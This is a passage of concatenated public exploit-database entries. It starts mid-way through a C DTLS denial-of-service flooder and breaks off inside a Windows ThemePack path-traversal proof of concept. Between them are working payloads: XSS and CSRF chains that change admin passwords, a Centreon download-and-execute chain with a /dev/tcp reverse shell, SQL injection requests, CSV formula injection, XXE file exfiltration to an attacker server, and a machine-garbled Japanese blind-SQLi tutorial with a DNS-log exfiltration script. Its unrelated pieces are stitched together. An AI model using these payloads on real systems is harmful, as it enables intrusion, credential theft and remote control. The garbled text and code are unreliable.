SSL_CTX_new(DTLS_client_method()); client.bio = BIO_new_ssl_connect(client.ctx); BIO_set_conn_hostname(client.bio, hostname); BIO_get_ssl(client.bio, &(client.ssl)); SSL_set_connect_state(client.ssl); SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY); SSL_set_fd(client.ssl, sockfd); if (SSL_connect(client.ssl) != 1) { return NULL; } return client.ssl; } int send_dos_packet(SSL* ssl, int id) { CONNECT_PKT_FRAGMENT packet; packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT; packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER); packet.usFragmentID = id; packet.usNoOfFragments = id; packet.cbFragmentLength = 1000; memset(packet.fragment, 0x41, 1000); char pkt[sizeof(packet)]; memcpy(&pkt, &packet, sizeof(packet)); return SSL_write(ssl, pkt, sizeof(pkt)); } int main(int argc, char* argv[]) { SSL* ssl; int i = 0; char* hostname; if (argc != 2) { printf("Usage: %s <IP address>\n", argv[0]); return 0; } hostname = argv[1]; SOCKInit(); DTLSInit(); while (i++ > -1) { ssl = DTLSConnection(hostname); if (ssl == NULL) { break; } for (int n = 0; n < 4; n++) { send_dos_packet(ssl, i+n); printf("Sending packet [%u]\n", i + n); } i++; } return 0; }
-
Adive Framework 2.0.8 - Cross-Site Request Forgery (Change Admin Password)
# Exploit Title: Adive Framework 2.0.8 - Cross-Site Request Forgery (Change Admin Password) # Exploit Author: Sarthak Saini # Date: 2020-01-18 # Vendor Link : https://www.adive.es/ # Software Link: https://github.com/ferdinandmartin/adive-php7 # Version: 2.0.8 # CVE:CVE-2020-7991 # Category: Webapps # Tested on: windows64bit / mozila firefox # # |--!> |---------------------------------------------------------------------------------- 1) Persistent Cross-site Scripting at user add page Description : The parameter 'userUsername=' is vulnerable to Stored Cross-site scripting Payload:- <script>alert(1)</script> POST /admin/user/add HTTP/1.1 Host: 192.168.2.5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 62 Origin: http://192.168.2.5 DNT: 1 Connection: close Referer: http://192.168.2.5/admin/user/add Cookie: PHPSESSID=3rglrbjn0372tf97voajlfb1j4 Upgrade-Insecure-Requests: 1 userName=test&userUsername=<script>alert('xss')</script>&pass=test&cpass=test&permission=3 |---------------------------------------------------------------------------------- 2) account takeover - cross side request forgery (Change Admin Password) Description : attacker can craft a malicious javascript and attach it to the stored xss, when admin visits the /admin/user page the payload will trigger. -> Save the payload as exp.js -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--==- function execute() { var nuri ="http://192.168.2.5/admin/config"; xhttp = new XMLHttpRequest(); xhttp.open("POST", nuri, true); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhttp.withCredentials = "true"; var body = ""; body += "\r\n\r\n"; body += "userName=Administrator&confPermissions=1&pass=hacked@123&cpass=hacked@123&invokeType=web"; xhttp.send(body); return true; } execute(); -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--==- -> Start a server and host the exp.js. Send the exp.js file in the xss payload Payload:- <script src="http://192.168.2.5/exp.js"></script> POST /admin/user/add HTTP/1.1 Host: 192.168.2.5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 143 Origin: http://192.168.2.5 DNT: 1 Connection: close Referer: http://192.168.2.5/admin/user/add Cookie: PHPSESSID=3rglrbjn0372tf97voajlfb1j4 Upgrade-Insecure-Requests: 1 userName=%3Cscript+src%3D%22http%3A%2F%2F192.168.2.5%2Fexp.js%22%3E%3C%2Fscript%3E&userUsername=test&pass=test&cpass=test&permission=3 -> As soon as admin will visit the page the payload will be triggered and the admin password will be changed to hacked@123 |-----------------------------------------EOF-----------------------------------------
-
Centreon 19.10.5 - Database Credentials Disclosure
# Exploit Title: Centreon 19.10.5 - Database Credentials Disclosure # Date: 2020-01-27 # Exploit Author: Fabien AUNAY, Omri Baso # Vendor Homepage: https://www.centreon.com/ # Software Link: https://github.com/centreon/centreon # Version: 19.10.5 # Tested on: CentOS 7 # CVE : - ########################################################################################################### Centreon 19.10.5 Database Credentials Disclosure Trusted by SMBs and Fortune 500 companies worldwide. An industry reference in IT Infrastructure monitoring for the enterprise. Counts 200,000+ ITOM users worldwide and an international community of software collaborators. Presence in Toronto and Luxembourg. Deployed in diverse sectors: - IT & telecommunication - Transportation - Government - Heath care - Retail - Utilities - Finance & Insurance - Aerospace & Defense - Manufacturing - etc. ########################################################################################################### POC: - Configuration / Pollers / Broker configuration -- Central-broker | Central-broker-master --- Output It is possible to discover the unencrypted password with the inspector. DB user centreon DB password ******** <input size="120" name="output[0][db_password]" type="password" value="ZVy892xx">
-
Octeth Oempro 4.8 - 'CampaignID' SQL Injection
# Exploit Title: Octeth Oempro 4.8 - 'CampaignID' SQL Injection # Date: 2020-01-27 # Exploit Author: Bruno de Barros Bulle (www.xlabs.com.br) # Vendor Homepage: www2.octeth.com # Version: Octeth Oempro v.4.7 and v.4.8 # Tested on: Oempro v.4.7 # CVE : CVE-2019-19740 An authenticated user can easily exploit this vulnerability. Octeth Oempro 4.7 and 4.8 allow SQL injection. The parameter CampaignID in Campaign.Get is vulnerable. # Error condition POST /api.php HTTP/1.1 Host: 127.0.0.1 command=Campaign.Get&CampaignID=2019'&responseformat=JSON # SQL Injection exploitation POST /api.php HTTP/1.1 Host: 127.0.0.1 command=Campaign.Get&CampaignID=2019 OR '1=1&responseformat=JSON
-
macOS/iOS ImageIO - Heap Corruption when Processing Malformed TIFF Image
The attached tiff image causes a crash in ImageIO on the latest macOS and iOS. To reproduce the issue, the attached code (tester.m) can be used. I've attached another code snippet to reproduce the issue on iOS as well. With tester.m compiled with ASAN, processing the attached tiff image should crash with an access violation similar to the following: % ./tester fuzzed.tif AddressSanitizer:DEADLYSIGNAL ================================================================= ==70578==ERROR: AddressSanitizer: SEGV on unknown address 0x00010decf000 (pc 0x7fff3a588390 bp 0x7ffee8fbb6d0 sp 0x7ffee8fbb0e0 T0) ==70578==The signal is caused by a WRITE memory access. #0 0x7fff3a58838f in invocation function for block in TIFFReadPlugin::DecodeBlocks(IIOImageRead*, GlobalTIFFInfo*, ReadPluginData const&, TIFFPluginData const&, std::__1::vector<IIODecodeFrameParams, std::__1::allocator<IIODecodeFrame Params> >&) (ImageIO:x86_64h+0xab38f) #1 0x7fff6e8ca512 in _dispatch_client_callout2 (libdispatch.dylib:x86_64+0x3512) #2 0x7fff6e8dabcb in _dispatch_apply_serial (libdispatch.dylib:x86_64+0x13bcb) #3 0x7fff6e8ca4dd in _dispatch_client_callout (libdispatch.dylib:x86_64+0x34dd) #4 0x7fff6e8cde62 in _dispatch_sync_function_invoke (libdispatch.dylib:x86_64+0x6e62) #5 0x7fff6e8daaf4 in dispatch_apply_f (libdispatch.dylib:x86_64+0x13af4) #6 0x7fff3a587028 in TIFFReadPlugin::CallDecodeBlocks(IIOImageRead*, GlobalTIFFInfo*, ReadPluginData const&, TIFFPluginData const&, IIORequest, std::__1::vector<IIODecodeFrameParams, std::__1::allocator<IIODecodeFrameParams> >&) (Imag eIO:x86_64h+0xaa028) #7 0x7fff3a513f29 in TIFFReadPlugin::copyImageBlockSet(InfoRec*, CGImageProvider*, CGRect, CGSize, __CFDictionary const*) (ImageIO:x86_64h+0x36f29) #8 0x7fff3a4f7a1d in IIO_Reader::CopyImageBlockSetProc(void*, CGImageProvider*, CGRect, CGSize, __CFDictionary const*) (ImageIO:x86_64h+0x1aa1d) #9 0x7fff3a4f6dfe in IIOImageProviderInfo::CopyImageBlockSetWithOptions(void*, CGImageProvider*, CGRect, CGSize, __CFDictionary const*) (ImageIO:x86_64h+0x19dfe) #10 0x7fff37a9eb13 in imageProvider_retain_data (CoreGraphics:x86_64h+0x3cb13) #11 0x7fff37a9ea8f in CGDataProviderRetainData (CoreGraphics:x86_64h+0x3ca8f) #12 0x7fff37a9eab1 in provider_for_destination_retain_data (CoreGraphics:x86_64h+0x3cab1) #13 0x7fff37a9ea8f in CGDataProviderRetainData (CoreGraphics:x86_64h+0x3ca8f) #14 0x7fff37a9e949 in CGAccessSessionCreate (CoreGraphics:x86_64h+0x3c949) #15 0x7fff37a9cb8c in img_data_lock (CoreGraphics:x86_64h+0x3ab8c) #16 0x7fff37a9839a in CGSImageDataLock (CoreGraphics:x86_64h+0x3639a) #17 0x7fff37a97d92 in RIPImageDataInitializeShared (CoreGraphics:x86_64h+0x35d92) #18 0x7fff37a97951 in RIPImageCacheGetRetained (CoreGraphics:x86_64h+0x35951) #19 0x7fff37a97426 in ripc_AcquireRIPImageData (CoreGraphics:x86_64h+0x35426) #20 0x7fff37a966eb in ripc_DrawImage (CoreGraphics:x86_64h+0x346eb) #21 0x7fff37a95a1f in CGContextDrawImageWithOptions (CoreGraphics:x86_64h+0x33a1f) #22 0x106c42aab in main (tester:x86_64+0x100001aab) #23 0x7fff6e91a404 in start (libdyld.dylib:x86_64+0x11404) ==70578==Register values: rax = 0xffffffffffffff01 rbx = 0x0000800080008080 rcx = 0x0000000000000080 rdx = 0x0000000000000008 rdi = 0x0000000000000000 rsi = 0x0000000000000000 rbp = 0x00007ffee8fbb6d0 rsp = 0x00007ffee8fbb0e0 r8 = 0x0000632000003002 r9 = 0x00000000000000ff r10 = 0x0000800080008080 r11 = 0xfffffffffffffff0 r12 = 0x0000000000000001 r13 = 0x000000010decf000 r14 = 0x0000000000000008 r15 = 0x0000000000000000 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (ImageIO:x86_64h+0xab38f) in invocation function for block in TIFFReadPlugin::DecodeBlocks(IIOImageRead*, GlobalTIFFInfo*, ReadPluginData const&, TIFFPluginData const&, std::__1::vector<IIODecodeFrameParams , std::__1::allocator<IIODecodeFrameParams> >&) ==70578==ABORTING The overflow happens out of an mmap region as the memory buffer is allocated using ImageIO_Malloc, which is itself mostly a thin wrapper around mmap. The crashing image was found through fuzzing and both the crashing as well as the original image are attached. The relevant byte change removes the BitsPerSample entry (original value is 8) from the TIFF file, in which case a default value of 1 will be used. As the SamplesPerPixel entry is still 3, the image will contain 3 bits per pixel, one for the red, one for the green, and one for the blue component. ImageIO will then allocate width*height*3 bytes of memory (for a RBG bitmap) using ImageIO_Malloc, then call TIFFReadPlugin::DecodeBlocks to write the image data into the buffer. Next, ImageIO uses the tile-oriented TIFF api [1] to read out a tile of the image in its current encoding (3 bits per pixel). The default tile size seems to be 0x100 x 0x100 and so the entire image (which is 143 x 190 pixels large) fits into one tile. Since there are three bits per pixel, the tile has a total of 0x100*0x100*3/8 = 0x6000 bytes, which is what TIFFReadTile returns. Finally, it appears that ImageIO then uses the returned size (0x6000) to decode the image instead of the correct image size (143 x 190). As such, it writes 0x6000*8 bytes (since the output format uses 8 bits per component, not 1) to the output buffer, or about 2.4 times the allocated size. The program then crashes with a memory violation. Since the buffer is already allocated using mmap, adding a guard page after it would likely prevent this and similar bugs from being exploitable in the future. The attached archive contains the original image and the mutated one causing the crash. It also contains code to reproduce the issue on macOS and iOS. Finally, it contains a python script to change the byte in question in the original file to remove the BitsPerSample entry and thus trigger the issue. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47970.zip
-
Centreon 19.10.5 - Remote Command Execution
# Exploit Title: Centreon 19.10.5 - Remote Command Execution # Date: 2020-01-27 # Exploit Author: Fabien AUNAY, Omri BASO # Vendor Homepage: https://www.centreon.com/ # Software Link: https://github.com/centreon/centreon # Version: 19.10.5 # Tested on: CentOS 7 # CVE : - ########################################################################################################### Centreon 19.10.5 Remote Command Execution Resources Trusted by SMBs and Fortune 500 companies worldwide. An industry reference in IT Infrastructure monitoring for the enterprise. Counts 200,000+ ITOM users worldwide and an international community of software collaborators. Presence in Toronto and Luxembourg. Deployed in diverse sectors: - IT & telecommunication - Transportation - Government - Heath care - Retail - Utilities - Finance & Insurance - Aerospace & Defense - Manufacturing - etc. It is possible to call binaries not only in default $USER$ path by adding Poller's Resources. By adding two entries it is possible to trigger a download exec reverse shell. Note, your reverse shell is persistent because Centreon execute your payloads all 10 minutes by default. Steps: Objective 1 : Add Download Resource Objective 2 : Add Exec Resource Objective 3 : Create your both commands check Objective 4 : Create your services and link them with a host Restart the Central. ########################################################################################################### # Objective 1 : Add Download Resource - Configuration/Pollers/Resources - Problem: Illegal Object Name Characters : ~!$%^&*"|'<>?,()= Illegal Macro Output Characters : `~$^&"|'<> Maximum client side input size limit: 35 - Information: Read Centreon documentation: To install Centreon software from the repository, you should first install the centreon-release package, which will provide the repository file. Some may not have the wget package installed. If not perform the following : yum install wget Solution 1: Remove restriction in Configuration/Pollers/Engine configuration Solution 2: Modify input size inspector in client side <input> size="250" Solution 3: Mixed, use a custom payload -> wget -P /tmp/ 127.0.0.1:8080/x.sh # Objective 2 : Add Exec Resource - Configuration/Pollers/Resources - Problem: Illegal Object Name Characters : ~!$%^&*"|'<>?,()= Illegal Macro Output Characters : `~$^&"|'<> Maximum client side input size limit: 35 Solution: Use a custom payload -> bash /tmp/x.sh # Objective 3 : Create your both commands check with your resources $xxx$ without arguments # Objective 4 : Create your services and link them with a host POC: Payload x.sh : 0<&121-;exec 121<>/dev/tcp/127.0.0.1/1234;sh <&121 >&121 2>&121 python -m SimpleHTTPServer 8080 Serving HTTP on 0.0.0.0 port 8080 ... 127.0.0.1 - - [27/Jan/2020 22:13:27] "GET /x.sh HTTP/1.1" 200 - nc -lvnp 1234 Ncat: Version 7.50 Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:43128. id uid=993(centreon-engine) gid=990(centreon-engine) groups=990(centreon-engine),992(centreon-broker),993(nagios),994(centreon) sudo -l Matching Defaults entries for centreon-engine on centreon-lab: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !requiretty User centreon-engine may run the following commands on centreon-lab: (root) NOPASSWD: /sbin/service centreontrapd start (root) NOPASSWD: /sbin/service centreontrapd stop (root) NOPASSWD: /sbin/service centreontrapd restart (root) NOPASSWD: /sbin/service centreontrapd reload (root) NOPASSWD: /usr/sbin/service centreontrapd start (root) NOPASSWD: /usr/sbin/service centreontrapd stop (root) NOPASSWD: /usr/sbin/service centreontrapd restart (root) NOPASSWD: /usr/sbin/service centreontrapd reload (root) NOPASSWD: /sbin/service centengine start (root) NOPASSWD: /sbin/service centengine stop (root) NOPASSWD: /sbin/service centengine restart (root) NOPASSWD: /sbin/service centengine reload (root) NOPASSWD: /usr/sbin/service centengine start (root) NOPASSWD: /usr/sbin/service centengine stop (root) NOPASSWD: /usr/sbin/service centengine restart (root) NOPASSWD: /usr/sbin/service centengine reload (root) NOPASSWD: /bin/systemctl start centengine (root) NOPASSWD: /bin/systemctl stop centengine (root) NOPASSWD: /bin/systemctl restart centengine (root) NOPASSWD: /bin/systemctl reload centengine (root) NOPASSWD: /usr/bin/systemctl start centengine (root) NOPASSWD: /usr/bin/systemctl stop centengine (root) NOPASSWD: /usr/bin/systemctl restart centengine (root) NOPASSWD: /usr/bin/systemctl reload centengine (root) NOPASSWD: /sbin/service cbd start (root) NOPASSWD: /sbin/service cbd stop (root) NOPASSWD: /sbin/service cbd restart (root) NOPASSWD: /sbin/service cbd reload (root) NOPASSWD: /usr/sbin/service cbd start (root) NOPASSWD: /usr/sbin/service cbd stop (root) NOPASSWD: /usr/sbin/service cbd restart (root) NOPASSWD: /usr/sbin/service cbd reload (root) NOPASSWD: /bin/systemctl start cbd (root) NOPASSWD: /bin/systemctl stop cbd (root) NOPASSWD: /bin/systemctl restart cbd (root) NOPASSWD: /bin/systemctl reload cbd (root) NOPASSWD: /usr/bin/systemctl start cbd (root) NOPASSWD: /usr/bin/systemctl stop cbd (root) NOPASSWD: /usr/bin/systemctl restart cbd (root) NOPASSWD: /usr/bin/systemctl reload cbd
-
Kibana 6.6.1 - CSV Injection
# Exploit Title: Kibana 6.6.1 - CSV Injection # Google Dork: inurl:"/app/kibana" intitle:"Kibana" # Date: 2020-01-15 # Exploit Author: Aamir Rehman # Vendor Homepage: https://www.elastic.co/kibana # Software Link: https://www.elastic.co/downloads/ # Version: v6.6.1 possibly latest versions # Tested on: Kibana 6.6.1 - Firefox/Windows # References: # https://the-it-wonders.blogspot.com/2020/01/csv-injection-in-kibana-661-possibly.html # https://github.com/elastic/kibana/issues/56081 # Software description: Kibana is an open source data visualization dashboard for Elasticsearch. It provides visualization capabilities on top of the content indexed on an Elasticsearch cluster. Users can create bar, line and scatter plots, or pie charts and maps on top of large volumes of data. # Technical Details & Impact: Most of the kibana applications are having authentication disabled any malicious user can inject csv payload in visualization section of dashboard and It's possible to run malicious command on logged in user computer. Even though an alert message is shown on opening the file but users usually ignore such pop-ups since file is from known source. # POC 1. Click on Dashboard tab and select any dashboard from the list. I would suggest to select the dashboard which has Gauge or Line visualization type. 2. Once you are on dashboard click on "Edit button" on top right of the page. 3. Click "gear (options)" button of any graphical view box. 4. It will open a options box click on "edit visualization". 5. It will open the edit page click on any "Blue play button" in front of any metric. 6. Here you can edit the metric's information; we will be exploiting the "Custom Label" field 7. In custom Label field enter your csv injection payload e.g. @SUM(1+1)*cmd|' /c calc'!A0. 8. All is done now click on Top "blue play button" to save the settings and click on SAVE button open top right of the page. 9. Go back to dashboard graphical view, you will see your csv payload their. Click on 3dots buttons on top of the graphical box click on "INSPECT". 10. It will open the export panel click on download csv and click formatted csv. # Timeline 15-01-2020 - Vulnerability discovered 27-01-2020 - Vendor contacted 28-01-2020 - Vendor responded, not marking it as a security flaw. Git issue has been created. (https://github.com/elastic/kibana/issues/56081) 28-01-2020 – Requested vendor for disclosure. 29-01-2020 - Full Disclosure
-
タイトル:時間遅延ブラインドノートの詳細な説明
0x00インジェクションの定義遅延 遅延注射は盲検注射方法です。実行時間の関数SQLステートメントを送信し、実行時間の長さによって実行が成功するかどうかを判断します。たとえば、が正しい場合、それは長い時間を引き起こし、間違っている場合、それは短い実行時間を引き起こします。これはいわゆる高度な盲目の注射です。 SQLMAP、パンゴリン、ニンジンなどの主流の注入ツールは検出されず、手動でのみ検出でき、結果はスクリプトプログラムを使用して取得されます。 0x01注入関数の遅延 Sleep()//遅延機能 if(条件、true、false) //条件文 ascii() //ASCIIコードに変換します サブストリング( 'strant'、strart、length) //同じことがmid()に当てはまり、文字列の開始ビットと文字の長さを取り出します if expression:if(expr1、expr2、expr3) expr1が真である場合 (expr1 0およびexpr1 null)、if()の戻り値はexpr2です。それ以外の場合、返品値はexpr3です ミッド関数:MID(column_name、start [、length]) column_name 必須。キャラクターを抽出するフィールド。 始める 必須。開始位置を指定します(開始値は1)。 長さ オプション。返す文字の数。省略した場合、Mid()関数は残りのテキストを返します。 遅延インジェクションの原則は、爆発する情報のASCIIコードが正しい場合、遅延が発生し、それ以外の場合は遅延がないということです。 0x02実際の列の注入の遅延 1。時間遅延噴射コードが含まれています yanchi.php: ?php ヘッダー( 'Content-Type:Text/html; charset=utf8'); $ link=mysql_connect( 'localhost'、 'root'、 'root'); mysql_select_db( 'mysql'、$ link); mysql_set_charset( 'utf8'); $ sql='ユーザーからユーザーを選択します。ユーザー=' {$ _ get ['username']} ''; echo $ sql; $ query=mysql_query($ sql); エコー 'これは時間のブロードです'; ? 2手動検査遅延インジェクション http://10.0.0.21/yanci.php?username=root 'および睡眠(5)%23 または http://10.0.0.21/yanci.php?username=root 'およびsleep(5)および' xrsl '=' xrsl# または http://10.0.0.21/yanci.php?username=root 'およびif(ascii(subst(database()、1,1))=114,1、sleep(5))# 注入がある場合、遅延時間が長くなります。 3。 Pythonスクリプトを実行します(ユーザー名はこちらで実行されます) #!/usr/bin/env python # - * - coding: utf-8-* - urllib2をインポートします インポート時間 ソケットをインポートします スレッドをインポートします リクエストをインポートします クラスmy_threading(threading.thread): def __init __(self、str、x): threading.thread .__ init __(self) self.str=str self.x=x def run(self): グローバル解像度 x=self.x j=self.str url='http://10.0.0.21/yanci.php?username=root' + + + + + fid ext' + fid%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29、 ' + sr(x) +') '、1%29%29、睡眠%282%29,0%29%23' html=request(url) verify='timeout' html:にない場合 res [str(j)]=0 #print 1 else: res [str(j)]=1 def request(url): user_agent={'user-agent' : 'mozilla/5.0(macintosh; intel mac os x 10_7_3)applewebkit/534.55.3(khtml、geckoのような)バージョン/5.1.3サファリ/534.53.10'} req=urllib2.request(url、none、user_agent) try: request=urllib2.urlopen(req、timeout=2) 例外を除き、E: time.sleep(2) 「タイムアウト」を返す return request.read() def curl(url): try: start=time.clock() requests.get(url) end=time.clock() return int(end) requests.requestexception as e:を除く u'erroryを印刷!」 出口() def getLength(): i=0 true: 印刷'[+]チェック:%s \ r'%i url='http://10.0.0.21/yanci.php?username=root'++sleep(if(length( olengtom (select%20user()))(Select%20User() html=request(url) verify='timeout' html:で確認する場合 印刷'[+]長さ:%s'%i 私を返します i=i + 1 def bin2dec(string_num): return int(string_num、2) def getdata(datalength): グローバル解像度 データ='' 範囲のx(datalength): x=x + 1 #print x スレッド=[] 範囲(8):のJの場合 結果='' j=j + 1 sb=my_threading(j、x) sb.setdaemon(true) threads.append(sb) #print j Threads:のtの場合 t.start() Threads:のtの場合 T.Join() #print res TMP='' 範囲(8):のIの場合 tmp=tmp + str(res [str(i + 1)]) #print chr(bin2dec(tmp)) res={} result=chr(bin2dec(tmp)) 印刷結果 data=data + result sb=none 印刷'[+] ok!' print '[ +] result:' +データ __name__=='__main __' :の場合 stop=false res={} length=getLength() getData(長さ) 4。遅延インジェクションのsqlmap sqlmap.py -r q1.txt - dbms=mysql - -time -sec=5 5。 DNSログロギングを介してブラインドを注入します (1)ユーザー名ルートのパスワードを取得します http://10.0.0.21/yanci.php?username=root 'およびif(select load_file(concat(' \\\\ '、(select concat(user、' _ '、mid(password、2,41))user user=' root 'lime 1)、'。 (2)DNSログレコードは:です。ここでは、http://CEYEE.IOのDNSレコードを使用して注入します。 (3)ユーザー名ルートパスワードの16進数を取得する http://10.0.0.21/yanci.php?username=root 'and if((select load_file(' \\\\ '、(select hex(user()))、'。89mxv7.ceye.io\\ foobar '))、1,1)#)#) DNSレコードは次のとおりです。 (4)Xiaokuiツールのクエリを取得します。
-
Liferay CE Portal 6.0.2 - Remote Command Execution
# Exploit Title: Liferay CE Portal 6.0.2 - Remote Command Execution # Google Dork: N/A # Date: 2020-01-29 # Exploit Author: Berk Dusunur # Vendor Homepage: https://www.liferay.com/ # Software Link: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/6.0.2/ # https://github.com/chakadev/Liferay-CE-Portal-Java-Deserialization # Version: 6.0.2 # Tested on: MacOS # CVE : N/A #PoC I already shared payloads in my github repo (Because payloads so small and have a meta character). You must find the right syntax by brute-force method.Payloads I share are for time-based proof of concept (sleep 10). The application may not always output the command. That's why you should try time-based payload while doing PoC. POST /api/liferay HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close PAYLOADS HERE
-
XMLBlueprint 16.191112 - XML External Entity Injection
# Exploit Title: XMLBlueprint 16.191112 - XML External Entity Injection # Exploit Author: Javier Olmedo # Date: 2018-11-14 # Vendor: XMLBlueprint XML Editor # Software Link: https://www.xmlblueprint.com/update/download-64bit.exe # Affected Version: 16.191112 and before # Patched Version: unpatched # Category: Local # Platform: XML # Tested on: Windows 10 Pro # CWE: https://cwe.mitre.org/data/definitions/611.html # CVE: 2019-19032 # References: # https://hackpuntes.com/cve-2019-19032-xmlblueprint-16-191112-inyeccion-xml/ # 1. Technical Description # XMLBlueprint XML Editor version 16.191112 and before are affected by XML External Entity # Injection vulnerability through the malicious XML file. This allows a malicious user # to read arbitrary files. # 2. Proof Of Concept (PoC) # 2.1 Start a webserver to receive the connection. python -m SimpleHTTPServer 80 # 2.2 Upload the payload.dtd file to your web server. <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>"> %all; # 2.3 Create a secret.txt file with any content in desktop. # 2.4 Open poc.xml and click XML -> Validate <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///C:\Users\jolmedo\Desktop\secret.txt"> <!ENTITY % dtd SYSTEM "http://localhost:80/payload.dtd"> %dtd;]> <pwn>&send;</pwn> # 2.5 Your web server will receive a request with the contents of the secret.txt file Serving HTTP on 0.0.0.0 port 8000 ... 192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /payload.dtd HTTP/1.1" 200 - 192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 - # 3. Timeline # 13, november 2019 - [RESEARCHER] Discover # 13, november 2019 - [RESEARCHER] Report to vendor support # 14, november 2019 - [DEVELOPER] Unrecognized vulnerability # 15, november 2019 - [RESEARCHER] Detailed vulnerability report # 22, november 2019 - [RESEARCHER] Public disclosure # 4. Disclaimer # The information contained in this notice is provided without any guarantee of use or otherwise. # The redistribution of this notice is explicitly permitted for insertion into vulnerability # databases, provided that it is not modified and due credit is granted to the author. # The author prohibits the malicious use of the information contained herein and accepts no responsibility. # All content (c) # Javier Olmedo
-
Cups Easy 1.0 - Cross Site Request Forgery (Password Reset)
# Title: Cups Easy 1.0 - Cross Site Request Forgery (Password Reset) # Date: 2020-01-28 # Exploit Author: J3rryBl4nks # Vendor Homepage: https://sourceforge.net/u/ajayshar76/profile/ # Software Link: https://sourceforge.net/projects/cupseasy/files/cupseasylive-1.0/ # Version: 1.0 # Tested on Windows 10/Kali Rolling # CVE: CVE-2020-8424, CVE-2020-8425 # The Cups Easy (Purchase & Inventory) 1.0 web application is vulnerable to Cross Site Request Forgery # that would allow an attacker to change the Admin password and gain unrestricted # access to the site or delete any user. # Proof of Concept Code for Password Change: <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://SITEADDRESS/cupseasylive/passwordmychange.php" method="POST"> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="password" value="PASSWORDHERE" /> <input type="hidden" name="change" value="Change" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> # Proof of concept for user delete: <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://SITEADDRESS/cupseasylive/userdelete.php" method="POST"> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="delete" value="Delete" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
-
Microsoft Windows 10 - Theme API 'ThemePack' File Parsing
# Exploit Title: Microsoft Windows 10 - Theme API 'ThemePack' File Parsing # Google Dork: n/a # Date: 2020-10-28 # Exploit Author: Eduardo Braun Prado # Vendor Homepage: http://www.microsoft.com/ # Software Link: http://www.microsoft.com/ # Version: 10 v.1803 (17134.407) # Tested on: Windows 7, 8.0, 8.1, 10, Server 2012, Server 2012 R2, Server 2016, Server 2019 # CVE : CVE-2018-8413 # Discovered by: Eduardo Braun Prado [Details] Microsoft 'themepack' files are classic '.theme' files compressed for sharing over the internet. Theme files allows users to customize visual aspects of their device, such as icons for known features like 'My computer' and 'trash bin' folders, the default screensaver (which by the way allowed attackers to run '.scr' files located on shares upon applying a Theme, in the past. Refer to: CVE-2013-0810). ThemePack file type uses Microsoft 'CAB' format. The parser contains a vulnerability that allows attackers to create arbitrary files on arbitrary locations on the user´s system, by using the classic 'parent directory' technique, and thus could lead to creation of some executable files on the startup folder. This executable will be run on next logon. Conditions: 1) The 'themepack' file must contain a valid '[dot] theme' file. The parser allows creating '.theme' files on arbitrary locations, but the extension must be '.theme'. There´s a trick, though, to overcome this: NTFS Alternate Data Streams. By using a specially crafted name like "abc.hta:[dot] theme" it´s possible to trick the parser into dropping a file with an '[dot] hta' extension instead of the legitimate '[dot] theme', potentially allowing attackers to compromise the affected systems. The '[dot] hta' extension is a good choice since you can merge valid code with arbitrary text or binary files. Note: Patched on October, 2018 Microsoft monthly patch. [PoC] Proof of concept code that drops an 'hta' file to startup dir. Instructions: - Create a new project on MS Visual Studio (any version, included free ones like 'Express'), choose 'Console Application' and at 'program . cs' replace the code with the code below Note: Source code targets dot NET 4.0 and up (previous versions might work fine though!) using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; namespace ThemePack { class Program { static void Main(string[] args) { String exeDir = AppDomain.CurrentDomain.BaseDirectory; Directory.SetCurrentDirectory(exeDir); string tmpPath = Path.GetTempPath(); string tpd = 